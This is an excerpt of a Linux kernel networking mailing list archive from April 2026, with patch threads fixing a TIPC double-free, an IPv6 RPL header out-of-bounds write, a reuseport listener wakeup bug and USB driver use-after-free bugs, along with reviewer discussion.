	linux-kernel@vger.kernel.org
In-Reply-To: <GV1P189MB198888D44169106BFB04359BC62C2@GV1P189MB1988.EURP189.PROD.OUTLOOK.COM>

On Tue, 21 Apr 2026, Tung Quang Nguyen wrote:

> >Subject: Re: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
> >
> >On Mon, 20 Apr 2026, Lee Jones wrote:
> >
> >> On Mon, 20 Apr 2026, Tung Quang Nguyen wrote:
> >>
> >> > >> Subject: [PATCH 1/1] tipc: fix double-free in tipc_buf_append()
> >> > >> >
> >> > >> >The tipc_msg_validate() function can potentially reallocate the
> >> > >> >skb it is validating, freeing the old one.  In
> >> > >> >tipc_buf_append(), it was being called with a pointer to a local
> >> > >> >variable which was a copy of the
> >> > >caller's skb pointer.
> >> > >> >
> >> > >> >If the skb was reallocated and validation subsequently failed,
> >> > >> >the error handling path would free the original skb pointer,
> >> > >> >which had already been freed, leading to double-free.
> >> > >> >
> >> > >> >Fix this by passing the caller's skb pointer-pointer directly to
> >> > >> >tipc_msg_validate(), ensuring any modification is reflected correctly.
> >> > >> >The local skb pointer is then updated from the (possibly
> >> > >> >modified) caller's pointer.
> >> > >> >
> >> > >> >Fixes: d618d09a68e4 ("tipc: enforce valid ratio between skb
> >> > >> >truesize and
> >> > >> >contents")
> >> > >> >Assisted-by: Gemini:gemini-3.1-pro-preview
> >> > >> >Signed-off-by: Lee Jones <lee@kernel.org>
> >> > >> >---
> >> > >> > net/tipc/msg.c | 3 ++-
> >> > >> > 1 file changed, 2 insertions(+), 1 deletion(-)
> >> > >> >
> >> > >> >diff --git a/net/tipc/msg.c b/net/tipc/msg.c index
> >> > >> >76284fc538eb..9f4f612ee027
> >> > >> >100644
> >> > >> >--- a/net/tipc/msg.c
> >> > >> >+++ b/net/tipc/msg.c
> >> > >> >@@ -177,8 +177,9 @@ int tipc_buf_append(struct sk_buff
> >> > >> >**headbuf, struct sk_buff **buf)
> >> > >> >
> >> > >> > 	if (fragid == LAST_FRAGMENT) {
> >> > >> > 		TIPC_SKB_CB(head)->validated = 0;
> >> > >> >-		if (unlikely(!tipc_msg_validate(&head)))
> >> > >> >+		if (unlikely(!tipc_msg_validate(headbuf)))
> >> > >> > 			goto err;
> >> > >> >+		head = *headbuf;
> >> > >> This is a known issue and was reported via
> >> > >> https://patchwork.kernel.org/project/netdevbpf/patch/202603302053
> >> > >> 13.24 33372-1-nicholas@carlini.com/ The author did not respond to
> >> > >> my comment.
> >> > >> Can you improve the fix by applying my patch?
> >> > >
> >> > >I'd be happy to make any required changes.
> >> > >
> >> > >However, is this approach superior to simply passing a reference?
> >> > >
> >> > >v1 appears to be simpler, easier to read and avoids the explanation.
> >> > >
> >> > As I explained, your fix adds extra overhead to normal path while the error
> >path is corner case and it rarely happens.
> >> > Whatever approach is applied, we need to add explanation to understand
> >more easily the logic and hidden trick in tipc_msg_validate().
> >>
> >> Very well.  I have made the recommended changes.
> >>
> >> The patch is currently in my build-test environment.
> >>
> >> I will post v2, when everything has been satisfied.
> >
> >Okay, I genuinely tried to apply your patch.  It builds just fine, but Gemini (the
> >AI I use to pre-review patches before submission) has some doubts that this is
> >the correct approach:
> >
> >> @@ -177,8 +177,20 @@ int tipc_buf_append(struct sk_buff **headbuf,
> >> struct sk_buff **buf)
> >>
> >>       if (fragid == LAST_FRAGMENT) {
> >>               TIPC_SKB_CB(head)->validated = 0;
> >> -             if (unlikely(!tipc_msg_validate(&head)))
> >> +
> >> +             /* If the reassembled skb has been freed in
> >> +              * tipc_msg_validate() because of an invalid truesize,
> >> +              * then head will point to a newly allocated reassembled
> >> +              * skb, while *headbuf points to freed reassembled skb.
> >> +              * In such cases, correct *headbuf for freeing the newly
> >> +              * allocated reassembled skb later.
> >> +              *
> >> +              * Note: It's done this way instead of passing &head          // I added
> >this part to give
> >> +              * to avoid slowing down the happy path since this failure    // the
> >reviewer some additoinal
> >> +              * is a rare event.                                           // context
> >> +              */
> >> +             if (unlikely(!tipc_msg_validate(headbuf))) {
> You did NOT apply my patch correctly. I did not suggest passing headbuf to tipc_msg_validate().

Ah, you're right.  I missed that line change.

Let me revisit.  Bear with.

> My patch is very simple:
> +               if (unlikely(!tipc_msg_validate(&head))) {
> +                       /* reassembled skb has been freed in
> +                        * tipc_msg_validate() because of invalid truesize.
> +                        * head now points to newly-allocated reassembled skb
> +                        * while *headbuf points to freed reassembled skb.
> +                        * So, correct *headbuf for freeing newly-allocated
> +                        * reassembled skb later.
> +                        */
> +                       if (head != *headbuf)
> +                               *headbuf = head;
> +
>                         goto err;
> +               }

-- 
Lee Jones [李琼斯]

^ permalink raw reply

* Re: [PATCH net 1/2] net/mlx5e: psp: Fix invalid access on PSP dev registration fail
From: Cosmin Ratiu @ 2026-04-21 12:29 UTC (permalink / raw)
  To: kuba@kernel.org
  Cc: Boris Pismenny, willemdebruijn.kernel@gmail.com,
	andrew+netdev@lunn.ch, daniel.zahka@gmail.com,
	davem@davemloft.net, leon@kernel.org, Rahul Rameshbabu,
	linux-kernel@vger.kernel.org, linux-rdma@vger.kernel.org,
	pabeni@redhat.com, Raed Salem, Dragos Tatulea, kees@kernel.org,
	Mark Bloch, edumazet@google.com, Tariq Toukan, Saeed Mahameed,
	netdev@vger.kernel.org, Gal Pressman
In-Reply-To: <20260420100917.1e4be22a@kernel.org>

On Mon, 2026-04-20 at 10:09 -0700, Jakub Kicinski wrote:
> On Mon, 20 Apr 2026 10:30:46 +0000 Cosmin Ratiu wrote:
> > > When psp_dev_create() fails, this function now returns without
> > > setting
> > > psp->psp, leaving it as NULL. However, priv->psp remains
> > > allocated
> > > and
> > > non-NULL.
> > > 
> > > Does this leave the RX datapath vulnerable to a NULL pointer
> > > dereference?
> > > 
> > > If priv->psp is non-NULL, the NIC RX initialization path can
> > > still
> > > call
> > > mlx5_accel_psp_fs_init_rx_tables(), which creates hardware flow
> > > steering
> > > rules to intercept UDP traffic.
> > > 
> > > If a UDP packet triggers these rules, the hardware flags the CQE
> > > with
> > > MLX5E_PSP_MARKER_BIT. The RX fast-path sees the marker and
> > > invokes
> > > mlx5e_psp_offload_handle_rx_skb(), which dereferences the pointer
> > > unconditionally:
> > > 
> > > u16 dev_id = priv->psp->psp->id;
> > > 
> > > Since priv->psp->psp is NULL, this will cause a kernel panic.
> > > Should
> > > priv->psp be cleaned up, or the error propagated, to prevent flow
> > > rules
> > > from being installed when registration fails?  
> > 
> > First, this is preexisting. But more importantly, it's impossible
> > to
> > trigger:
> > - with no PSP devs, there can be no PSP SAs installed.
> > - with no SAs, PSP decryption cannot succeed.
> > - all unsuccessfully decrypted PSP packets are dropped by steering.
> > - the RX handler will not see any PSP packets with the marker set.
> > 
> > This patch fixes the comparatively way more likely scenario of
> > psp_dev_register failing and then mlx5e_psp_unregister passing the
> > error pointer to psp_dev_unregister, which will do unpleasant
> > things
> > with it.
> 
> Sure but why are you leaving the priv->psp struct in place and
> whatever
> FS init has been done? IOW if you really want PSP init to not block
> probe why is mlx5e_psp_register() a void function rather than
> mlx5e_psp_init() ? Ignoring errors from psp_dev_create()
> makes no sense to me - what are you protecting from?
> kmalloc(GFP_KERNEL)
> failing?

priv->psp and steering at the time of mlx5e_psp_register() is inert
without the PSP device. Cleaning it on psp_dev_create() failure would
be weird, it's cleaned up anyway on netdev teardown. The fact that only
memory allocations can fail inside psp_dev_create() is irrelevant here.
psp_dev_create() failing shouldn't bring down the whole netdevice, so
logging a message and continuing is ok (which is what is also done for
macsec and ktls).

mlx5e_psp_register() is void because it's called from
mlx5e_nic_enable() which can't fail, so it really can't do much other
than complain to dmesg.

But while thinking about this, I suppose we could change the entire PSP
initialization to happen at the time of the current
mlx5e_psp_register(), and that would simplify the number of states.
I will do that in the next planned PSP series for net-next.

Meanwhile, could you please take the 2nd patch and leave this one out?
It should apply with no conflicts by itself.

Or you would like to see a separate submission with the 2nd patch
alone?

Cosmin.

^ permalink raw reply

* [PATCH net v3 0/2] tcp: fix listener wakeup after reuseport migration
From: Zhenzhong Wu @ 2026-04-21 12:31 UTC (permalink / raw)
  To: netdev
  Cc: edumazet, ncardwell, kuniyu, davem, dsahern, kuba, pabeni, horms,
	shuah, tamird, linux-kernel, linux-kselftest, Zhenzhong Wu

This series fixes a missing wakeup when inet_csk_listen_stop() migrates
an established child socket from a closing listener to another socket
in the same SO_REUSEPORT group after the child has already been queued
for accept.

The target listener receives the migrated accept-queue entry via
inet_csk_reqsk_queue_add(), but its waiters are not notified.
Nonblocking accept() still succeeds because it checks the accept queue
directly, but readiness-based waiters can remain asleep until another
connection generates a wakeup.

Patch 1 notifies the target listener after a successful migration in
inet_csk_listen_stop() and protects the post-queue_add() nsk accesses
with rcu_read_lock()/rcu_read_unlock().

Patch 2 extends the existing migrate_reuseport BPF selftest with epoll
readiness checks inside migrate_dance(), around shutdown() where the
migration happens. The test now verifies that the target listener is
not ready before migration and becomes ready immediately after it, for
both TCP_ESTABLISHED and TCP_SYN_RECV. TCP_NEW_SYN_RECV remains
excluded because it still depends on later handshake completion.

Testing:
- On a local unpatched kernel, the focused migrate_reuseport test
  fails for the listener-migration cases and passes for the
  TCP_NEW_SYN_RECV cases:
    not ok 1 IPv4 TCP_ESTABLISHED  inet_csk_listen_stop
    not ok 2 IPv4 TCP_SYN_RECV     inet_csk_listen_stop
    ok 3 IPv4 TCP_NEW_SYN_RECV reqsk_timer_handler
    ok 4 IPv4 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
    not ok 5 IPv6 TCP_ESTABLISHED  inet_csk_listen_stop
    not ok 6 IPv6 TCP_SYN_RECV     inet_csk_listen_stop
    ok 7 IPv6 TCP_NEW_SYN_RECV reqsk_timer_handler
    ok 8 IPv6 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
- On a patched kernel booted under QEMU, the full migrate_reuseport
  selftest passes:
    ok 1 IPv4 TCP_ESTABLISHED  inet_csk_listen_stop
    ok 2 IPv4 TCP_SYN_RECV     inet_csk_listen_stop
    ok 3 IPv4 TCP_NEW_SYN_RECV reqsk_timer_handler
    ok 4 IPv4 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
    ok 5 IPv6 TCP_ESTABLISHED  inet_csk_listen_stop
    ok 6 IPv6 TCP_SYN_RECV     inet_csk_listen_stop
    ok 7 IPv6 TCP_NEW_SYN_RECV reqsk_timer_handler
    ok 8 IPv6 TCP_NEW_SYN_RECV inet_csk_complete_hashdance
    SELFTEST_RC=0

---

v3:
- update the selftest patch as suggested by Kuniyuki Iwashima
- update the test flow comment to match the new epoll checks
- initialize epoll to -1 to avoid a compiler warning in the selftest

v2:
  https://lore.kernel.org/netdev/20260418181333.1713389-1-jt26wzz@gmail.com/

v1:
  https://lore.kernel.org/netdev/20260418041633.691435-1-jt26wzz@gmail.com/

Zhenzhong Wu (2):
  tcp: call sk_data_ready() after listener migration
  selftests/bpf: check epoll readiness during reuseport migration

 net/ipv4/inet_connection_sock.c               |  3 ++
 .../bpf/prog_tests/migrate_reuseport.c        | 46 ++++++++++++++++---
 2 files changed, 43 insertions(+), 6 deletions(-)


base-commit: 52bcb57a4e8a0865a76c587c2451906342ae1b2d
-- 
2.43.0

^ permalink raw reply

* [PATCH net v3 1/2] tcp: call sk_data_ready() after listener migration
From: Zhenzhong Wu @ 2026-04-21 12:31 UTC (permalink / raw)
  To: netdev
  Cc: edumazet, ncardwell, kuniyu, davem, dsahern, kuba, pabeni, horms,
	shuah, tamird, linux-kernel, linux-kselftest, Zhenzhong Wu,
	stable
In-Reply-To: <20260421123106.142299-1-jt26wzz@gmail.com>

When inet_csk_listen_stop() migrates an established child socket from
a closing listener to another socket in the same SO_REUSEPORT group,
the target listener gets a new accept-queue entry via
inet_csk_reqsk_queue_add(), but that path never notifies the target
listener's waiters. A nonblocking accept() still works because it
checks the queue directly, but poll()/epoll_wait() waiters and
blocking accept() callers can also remain asleep indefinitely.

Call READ_ONCE(nsk->sk_data_ready)(nsk) after a successful migration
in inet_csk_listen_stop().

However, after inet_csk_reqsk_queue_add() succeeds, the ref acquired
in reuseport_migrate_sock() is effectively transferred to
nreq->rsk_listener. Another CPU can then dequeue nreq via accept()
or listener shutdown, hit reqsk_put(), and drop that listener ref.
Since listeners are SOCK_RCU_FREE, wrap the post-queue_add()
dereferences of nsk in rcu_read_lock()/rcu_read_unlock(), which also
covers the existing sock_net(nsk) access in that path.

The reqsk_timer_handler() path does not need the same changes for two
reasons: half-open requests become readable only after the final ACK,
where tcp_child_process() already wakes the listener; and once nreq is
visible via inet_ehash_insert(), the success path no longer touches
nsk directly.

Fixes: 54b92e841937 ("tcp: Migrate TCP_ESTABLISHED/TCP_SYN_RECV sockets in accept queues.")
Cc: stable@vger.kernel.org
Suggested-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Zhenzhong Wu <jt26wzz@gmail.com>
---
 net/ipv4/inet_connection_sock.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c
index 4ac3ae1bc..928654c34 100644
--- a/net/ipv4/inet_connection_sock.c
+++ b/net/ipv4/inet_connection_sock.c
@@ -1479,16 +1479,19 @@ void inet_csk_listen_stop(struct sock *sk)
 			if (nreq) {
 				refcount_set(&nreq->rsk_refcnt, 1);
 
+				rcu_read_lock();
 				if (inet_csk_reqsk_queue_add(nsk, nreq, child)) {
 					__NET_INC_STATS(sock_net(nsk),
 							LINUX_MIB_TCPMIGRATEREQSUCCESS);
 					reqsk_migrate_reset(req);
+					READ_ONCE(nsk->sk_data_ready)(nsk);
 				} else {
 					__NET_INC_STATS(sock_net(nsk),
 							LINUX_MIB_TCPMIGRATEREQFAILURE);
 					reqsk_migrate_reset(nreq);
 					__reqsk_free(nreq);
 				}
+				rcu_read_unlock();
 
 				/* inet_csk_reqsk_queue_add() has already
 				 * called inet_child_forget() on failure case.
-- 
2.43.0


^ permalink raw reply related

* [PATCH net v3 2/2] selftests/bpf: check epoll readiness during reuseport migration
From: Zhenzhong Wu @ 2026-04-21 12:31 UTC (permalink / raw)
  To: netdev
  Cc: edumazet, ncardwell, kuniyu, davem, dsahern, kuba, pabeni, horms,
	shuah, tamird, linux-kernel, linux-kselftest, Zhenzhong Wu
In-Reply-To: <20260421123106.142299-1-jt26wzz@gmail.com>

Inside migrate_dance(), add epoll checks around shutdown() to
verify that the target listener is not ready before shutdown()
and becomes ready immediately after shutdown() triggers migration.

Cover TCP_ESTABLISHED and TCP_SYN_RECV. Exclude TCP_NEW_SYN_RECV
as it depends on later handshake completion.

Suggested-by: Kuniyuki Iwashima <kuniyu@google.com>
Signed-off-by: Zhenzhong Wu <jt26wzz@gmail.com>
---
 .../bpf/prog_tests/migrate_reuseport.c        | 46 ++++++++++++++++---
 1 file changed, 40 insertions(+), 6 deletions(-)

diff --git a/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c b/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c
index 653b0a20f..6180a79a7 100644
--- a/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c
+++ b/tools/testing/selftests/bpf/prog_tests/migrate_reuseport.c
@@ -7,24 +7,29 @@
  *   3. call listen() for 1 server socket. (migration target)
  *   4. update a map to migrate all child sockets
  *        to the last server socket (migrate_map[cookie] = 4)
- *   5. call shutdown() for first 4 server sockets
+ *   5. for TCP_ESTABLISHED and TCP_SYN_RECV cases, verify via epoll
+ *        that the last server socket is not ready before migration.
+ *   6. call shutdown() for first 4 server sockets
  *        and migrate the requests in the accept queue
  *        to the last server socket.
- *   6. call listen() for the second server socket.
- *   7. call shutdown() for the last server
+ *   7. for TCP_ESTABLISHED and TCP_SYN_RECV cases, verify via epoll
+ *        that the last server socket is ready after migration.
+ *   8. call listen() for the second server socket.
+ *   9. call shutdown() for the last server
  *        and migrate the requests in the accept queue
  *        to the second server socket.
- *   8. call listen() for the last server.
- *   9. call shutdown() for the second server
+ *  10. call listen() for the last server.
+ *  11. call shutdown() for the second server
  *        and migrate the requests in the accept queue
  *        to the last server socket.
- *  10. call accept() for the last server socket.
+ *  12. call accept() for the last server socket.
  *
  * Author: Kuniyuki Iwashima <kuniyu@amazon.co.jp>
  */
 
 #include <bpf/bpf.h>
 #include <bpf/libbpf.h>
+#include <sys/epoll.h>
 
 #include "test_progs.h"
 #include "test_migrate_reuseport.skel.h"
@@ -350,8 +355,28 @@ static int update_maps(struct migrate_reuseport_test_case *test_case,
 
 static int migrate_dance(struct migrate_reuseport_test_case *test_case)
 {
+	struct epoll_event ev = {
+		.events = EPOLLIN,
+	};
+	int epoll = -1, nfds;
 	int i, err;
 
+	if (test_case->state != BPF_TCP_NEW_SYN_RECV) {
+		epoll = epoll_create1(0);
+		if (!ASSERT_NEQ(epoll, -1, "epoll_create1"))
+			return -1;
+
+		ev.data.fd = test_case->servers[MIGRATED_TO];
+		if (!ASSERT_OK(epoll_ctl(epoll, EPOLL_CTL_ADD,
+					 test_case->servers[MIGRATED_TO], &ev),
+			       "epoll_ctl"))
+			goto close_epoll;
+
+		nfds = epoll_wait(epoll, &ev, 1, 0);
+		if (!ASSERT_EQ(nfds, 0, "epoll_wait 1"))
+			goto close_epoll;
+	}
+
 	/* Migrate TCP_ESTABLISHED and TCP_SYN_RECV requests
 	 * to the last listener based on eBPF.
 	 */
@@ -365,6 +390,15 @@ static int migrate_dance(struct migrate_reuseport_test_case *test_case)
 	if (test_case->state == BPF_TCP_NEW_SYN_RECV)
 		return 0;
 
+	nfds = epoll_wait(epoll, &ev, 1, 0);
+	if (!ASSERT_EQ(nfds, 1, "epoll_wait 2")) {
+close_epoll:
+		close(epoll);
+		return -1;
+	}
+
+	close(epoll);
+
 	/* Note that we use the second listener instead of the
 	 * first one here.
 	 *
-- 
2.43.0


^ permalink raw reply related

* Re: [PATCH v3 10/15] drm/msm: Switch to generic PAS TZ APIs
From: Sumit Garg @ 2026-04-21 12:32 UTC (permalink / raw)
  To: lumag, robin.clark
  Cc: linux-arm-msm, devicetree, dri-devel, freedreno, linux-media,
	netdev, linux-wireless, ath12k, linux-remoteproc, andersson,
	konradybcio, robh, krzk+dt, conor+dt, robin.clark, sean, akhilpo,
	lumag, abhinav.kumar, jesszhan0024, marijn.suijten, airlied,
	simona, vikash.garodia, dikshita.agarwal, bod, mchehab, elder,
	andrew+netdev, davem, edumazet, kuba, pabeni, jjohnson,
	mathieu.poirier, trilokkumar.soni, mukesh.ojha, pavan.kondeti,
	jorge.ramirez, tonyh, vignesh.viswanathan, srinivas.kandagatla,
	amirreza.zarrabi, jens.wiklander, op-tee, apurupa, skare,
	harshal.dev, linux-kernel, Sumit Garg
In-Reply-To: <20260327131043.627120-11-sumit.garg@kernel.org>

Hey Rob, Dmitry,

On Fri, Mar 27, 2026 at 06:40:38PM +0530, Sumit Garg wrote:
> From: Sumit Garg <sumit.garg@oss.qualcomm.com>
> 
> Switch drm/msm client drivers over to generic PAS TZ APIs. Generic PAS
> TZ service allows to support multiple TZ implementation backends like QTEE
> based SCM PAS service, OP-TEE based PAS service and any further future TZ
> backend service.
> 
> Signed-off-by: Sumit Garg <sumit.garg@oss.qualcomm.com>
> ---
>  drivers/gpu/drm/msm/Kconfig             |  1 +
>  drivers/gpu/drm/msm/adreno/a5xx_gpu.c   |  4 ++--
>  drivers/gpu/drm/msm/adreno/adreno_gpu.c | 11 ++++++-----
>  3 files changed, 9 insertions(+), 7 deletions(-)
> 

Can I get an ack from you on this change? I expect this complete
patch-set to land via Qcom SoC tree.

-Sumit

> diff --git a/drivers/gpu/drm/msm/Kconfig b/drivers/gpu/drm/msm/Kconfig
> index 250246f81ea9..09469d56513b 100644
> --- a/drivers/gpu/drm/msm/Kconfig
> +++ b/drivers/gpu/drm/msm/Kconfig
> @@ -21,6 +21,7 @@ config DRM_MSM
>  	select SHMEM
>  	select TMPFS
>  	select QCOM_SCM
> +	select QCOM_PAS
>  	select QCOM_UBWC_CONFIG
>  	select WANT_DEV_COREDUMP
>  	select SND_SOC_HDMI_CODEC if SND_SOC
> diff --git a/drivers/gpu/drm/msm/adreno/a5xx_gpu.c b/drivers/gpu/drm/msm/adreno/a5xx_gpu.c
> index ef9fd6171af7..3283852f9a14 100644
> --- a/drivers/gpu/drm/msm/adreno/a5xx_gpu.c
> +++ b/drivers/gpu/drm/msm/adreno/a5xx_gpu.c
> @@ -5,7 +5,7 @@
>  #include <linux/kernel.h>
>  #include <linux/types.h>
>  #include <linux/cpumask.h>
> -#include <linux/firmware/qcom/qcom_scm.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
>  #include <linux/pm_opp.h>
>  #include <linux/nvmem-consumer.h>
>  #include <linux/slab.h>
> @@ -653,7 +653,7 @@ static int a5xx_zap_shader_resume(struct msm_gpu *gpu)
>  	if (adreno_is_a506(adreno_gpu))
>  		return 0;
>  
> -	ret = qcom_scm_set_remote_state(SCM_GPU_ZAP_SHADER_RESUME, GPU_PAS_ID);
> +	ret = qcom_pas_set_remote_state(SCM_GPU_ZAP_SHADER_RESUME, GPU_PAS_ID);
>  	if (ret)
>  		DRM_ERROR("%s: zap-shader resume failed: %d\n",
>  			gpu->name, ret);
> diff --git a/drivers/gpu/drm/msm/adreno/adreno_gpu.c b/drivers/gpu/drm/msm/adreno/adreno_gpu.c
> index d5fe6f6f0dec..047df0393128 100644
> --- a/drivers/gpu/drm/msm/adreno/adreno_gpu.c
> +++ b/drivers/gpu/drm/msm/adreno/adreno_gpu.c
> @@ -8,6 +8,7 @@
>  
>  #include <linux/ascii85.h>
>  #include <linux/interconnect.h>
> +#include <linux/firmware/qcom/qcom_pas.h>
>  #include <linux/firmware/qcom/qcom_scm.h>
>  #include <linux/kernel.h>
>  #include <linux/of_reserved_mem.h>
> @@ -146,10 +147,10 @@ static int zap_shader_load_mdt(struct msm_gpu *gpu, const char *fwname,
>  		goto out;
>  
>  	/* Send the image to the secure world */
> -	ret = qcom_scm_pas_auth_and_reset(pasid);
> +	ret = qcom_pas_auth_and_reset(pasid);
>  
>  	/*
> -	 * If the scm call returns -EOPNOTSUPP we assume that this target
> +	 * If the pas call returns -EOPNOTSUPP we assume that this target
>  	 * doesn't need/support the zap shader so quietly fail
>  	 */
>  	if (ret == -EOPNOTSUPP)
> @@ -175,9 +176,9 @@ int adreno_zap_shader_load(struct msm_gpu *gpu, u32 pasid)
>  	if (!zap_available)
>  		return -ENODEV;
>  
> -	/* We need SCM to be able to load the firmware */
> -	if (!qcom_scm_is_available()) {
> -		DRM_DEV_ERROR(&pdev->dev, "SCM is not available\n");
> +	/* We need PAS to be able to load the firmware */
> +	if (!qcom_pas_is_available()) {
> +		DRM_DEV_ERROR(&pdev->dev, "Qcom PAS is not available\n");
>  		return -EPROBE_DEFER;
>  	}
>  
> -- 
> 2.51.0
> 
> 

^ permalink raw reply

* Re: [PATCH] net: usb: rtl8150: fix use-after-free in rtl8150_start_xmit()
From: Andrew Lunn @ 2026-04-21 12:32 UTC (permalink / raw)
  To: Morduan Zang
  Cc: petkan, davem, edumazet, kuba, pabeni, andrew+netdev, linux-usb,
	netdev, linux-kernel, syzkaller-bugs, Zhan Jun,
	syzbot+3f46c095ac0ca048cb71
In-Reply-To: <73ACB7391A6DE033+20260421110412.14795-1-zhangdandan@uniontech.com>

On Tue, Apr 21, 2026 at 07:04:12PM +0800, Morduan Zang wrote:
> From: Zhan Jun <zhanjun@uniontech.com>
> 
> syzbot reported a KASAN slab-use-after-free read in rtl8150_start_xmit()
> when accessing skb->len for tx statistics after usb_submit_urb() has
> been called:
> 
>   BUG: KASAN: slab-use-after-free in rtl8150_start_xmit+0x71f/0x760
>     drivers/net/usb/rtl8150.c:712
>   Read of size 4 at addr ffff88810eb7a930 by task kworker/0:4/5226
> 
> The URB completion handler write_bulk_callback() frees the skb via
> dev_kfree_skb_irq(dev->tx_skb). The URB may complete on another CPU
> in softirq context before usb_submit_urb() returns in the submitter,
> so by the time the submitter reads skb->len the skb has already been
> queued to the per-CPU completion_queue and freed by net_tx_action():
> 
>   CPU A (xmit)                      CPU B (USB completion softirq)
>   ------------                      ------------------------------
>   dev->tx_skb = skb;
>   usb_submit_urb()      --+
>                           |-------> write_bulk_callback()
>                           |           dev_kfree_skb_irq(dev->tx_skb)
>                           |         net_tx_action()
>                           |           napi_skb_cache_put()   <-- free
>   netdev->stats.tx_bytes  |
>     += skb->len;          <-- UAF read
> 
> Fix it by caching skb->len before submitting the URB and using the
> cached value when updating the tx_bytes counter. This mirrors the
> fix pattern used by other USB network drivers.
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Reported-by: syzbot+3f46c095ac0ca048cb71@syzkaller.appspotmail.com
> Closes: https://lore.kernel.org/all/69e69ee7.050a0220.24bfd3.002b.GAE@google.com/
> Closes: https://syzkaller.appspot.com/bug?extid=3f46c095ac0ca048cb71
> Signed-off-by: Zhan Jun <zhanjun@uniontech.com>

Reviewed-by: Andrew Lunn <andrew@lunn.ch>

For future patches, please could you set the subject line correctly. See

https://www.kernel.org/doc/html/latest/process/maintainer-netdev.html

    Andrew

^ permalink raw reply

* [PATCH net v2] ipv6: rpl: reserve mac_len headroom when recompressed SRH grows
From: Greg Kroah-Hartman @ 2026-04-21 12:32 UTC (permalink / raw)
  To: netdev
  Cc: linux-kernel, Greg Kroah-Hartman, David S. Miller, David Ahern,
	Eric Dumazet, Jakub Kicinski, Paolo Abeni, Simon Horman, stable

ipv6_rpl_srh_rcv() decompresses an RFC 6554 Source Routing Header, swaps
the next segment into ipv6_hdr->daddr, recompresses, then pulls the old
header and pushes the new one plus the IPv6 header back.  The
recompressed header can be larger than the received one when the swap
reduces the common-prefix length the segments share with daddr (CmprI=0,
CmprE>0, seg[0][0] != daddr[0] gives the maximum +8 bytes).

pskb_expand_head() was gated on segments_left == 0, so on earlier
segments the push consumed unchecked headroom.  Once skb_push() leaves
fewer than skb->mac_len bytes in front of data,
skb_mac_header_rebuild()'s call to:

	skb_set_mac_header(skb, -skb->mac_len);

will store (data - head) - mac_len into the u16 mac_header field, which
wraps to ~65530, and the following memmove() writes mac_len bytes ~64KiB
past skb->head.

A single AF_INET6/SOCK_RAW/IPV6_HDRINCL packet over lo with a two
segment type-3 SRH (CmprI=0, CmprE=15) reaches headroom 8 after one
pass; KASAN reports a 14-byte OOB write in ipv6_rthdr_rcv.

Fix this by expanding the head whenever the remaining room is less than
the push size plus mac_len, and request that much extra so the rebuilt
MAC header fits afterwards.

Fixes: 8610c7c6e3bd ("net: ipv6: add support for rpl sr exthdr")
Cc: "David S. Miller" <davem@davemloft.net>
Cc: David Ahern <dsahern@kernel.org>
Cc: Eric Dumazet <edumazet@google.com>
Cc: Jakub Kicinski <kuba@kernel.org>
Cc: Paolo Abeni <pabeni@redhat.com>
Cc: Simon Horman <horms@kernel.org>
Cc: stable <stable@kernel.org>
Reported-by: Anthropic
Assisted-by: gkh_clanker_t1000
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
v2: - fixed up if statement to actually work properly, and test it against
      a working poc (poc will be sent separately)
      Reworded the changelog and the subject to make more sense
      Link to v1: https://lore.kernel.org/r/2026042024-cabbie-gills-9371@gregkh

 net/ipv6/exthdrs.c | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/net/ipv6/exthdrs.c b/net/ipv6/exthdrs.c
index 95558fd6f447..b86a638d51e4 100644
--- a/net/ipv6/exthdrs.c
+++ b/net/ipv6/exthdrs.c
@@ -491,6 +491,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
 	struct net *net = dev_net(skb->dev);
 	struct inet6_dev *idev;
 	struct ipv6hdr *oldhdr;
+	unsigned int chdr_len;
 	unsigned char *buf;
 	int accept_rpl_seg;
 	int i, err;
@@ -590,11 +591,11 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
 	oldhdr = ipv6_hdr(skb);
 
 	skb_pull(skb, ((hdr->hdrlen + 1) << 3));
-	skb_postpull_rcsum(skb, oldhdr,
-			   sizeof(struct ipv6hdr) + ((hdr->hdrlen + 1) << 3));
-	if (unlikely(!hdr->segments_left)) {
-		if (pskb_expand_head(skb, sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3), 0,
-				     GFP_ATOMIC)) {
+	chdr_len = sizeof(struct ipv6hdr) + ((chdr->hdrlen + 1) << 3);
+	skb_postpull_rcsum(skb, oldhdr, chdr_len);
+	if (unlikely(!hdr->segments_left ||
+		     skb_headroom(skb) < chdr_len + skb->mac_len)) {
+		if (pskb_expand_head(skb, chdr_len + skb->mac_len, 0, GFP_ATOMIC)) {
 			__IP6_INC_STATS(net, ip6_dst_idev(skb_dst(skb)), IPSTATS_MIB_OUTDISCARDS);
 			kfree_skb(skb);
 			kfree(buf);
@@ -603,7 +604,7 @@ static int ipv6_rpl_srh_rcv(struct sk_buff *skb)
 
 		oldhdr = ipv6_hdr(skb);
 	}
-	skb_push(skb, ((chdr->hdrlen + 1) << 3) + sizeof(struct ipv6hdr));
+	skb_push(skb, chdr_len);
 	skb_reset_network_header(skb);
 	skb_mac_header_rebuild(skb);
 	skb_set_transport_header(skb, sizeof(struct ipv6hdr));
-- 
2.53.0


^ permalink raw reply related

* Re: [PATCH] net: usb: rtl8150: free skb on usb_submit_urb() failure in xmit
From: Andrew Lunn @ 2026-04-21 12:34 UTC (permalink / raw)
  To: Morduan Zang
  Cc: Petko Manolov, Andrew Lunn, David S . Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, linux-usb, netdev, linux-kernel
In-Reply-To: <678BC10BB9E39322+20260421111025.15833-1-zhangdandan@uniontech.com>

On Tue, Apr 21, 2026 at 07:10:25PM +0800, Morduan Zang wrote:
> When rtl8150_start_xmit() fails to submit the tx URB, the URB is never
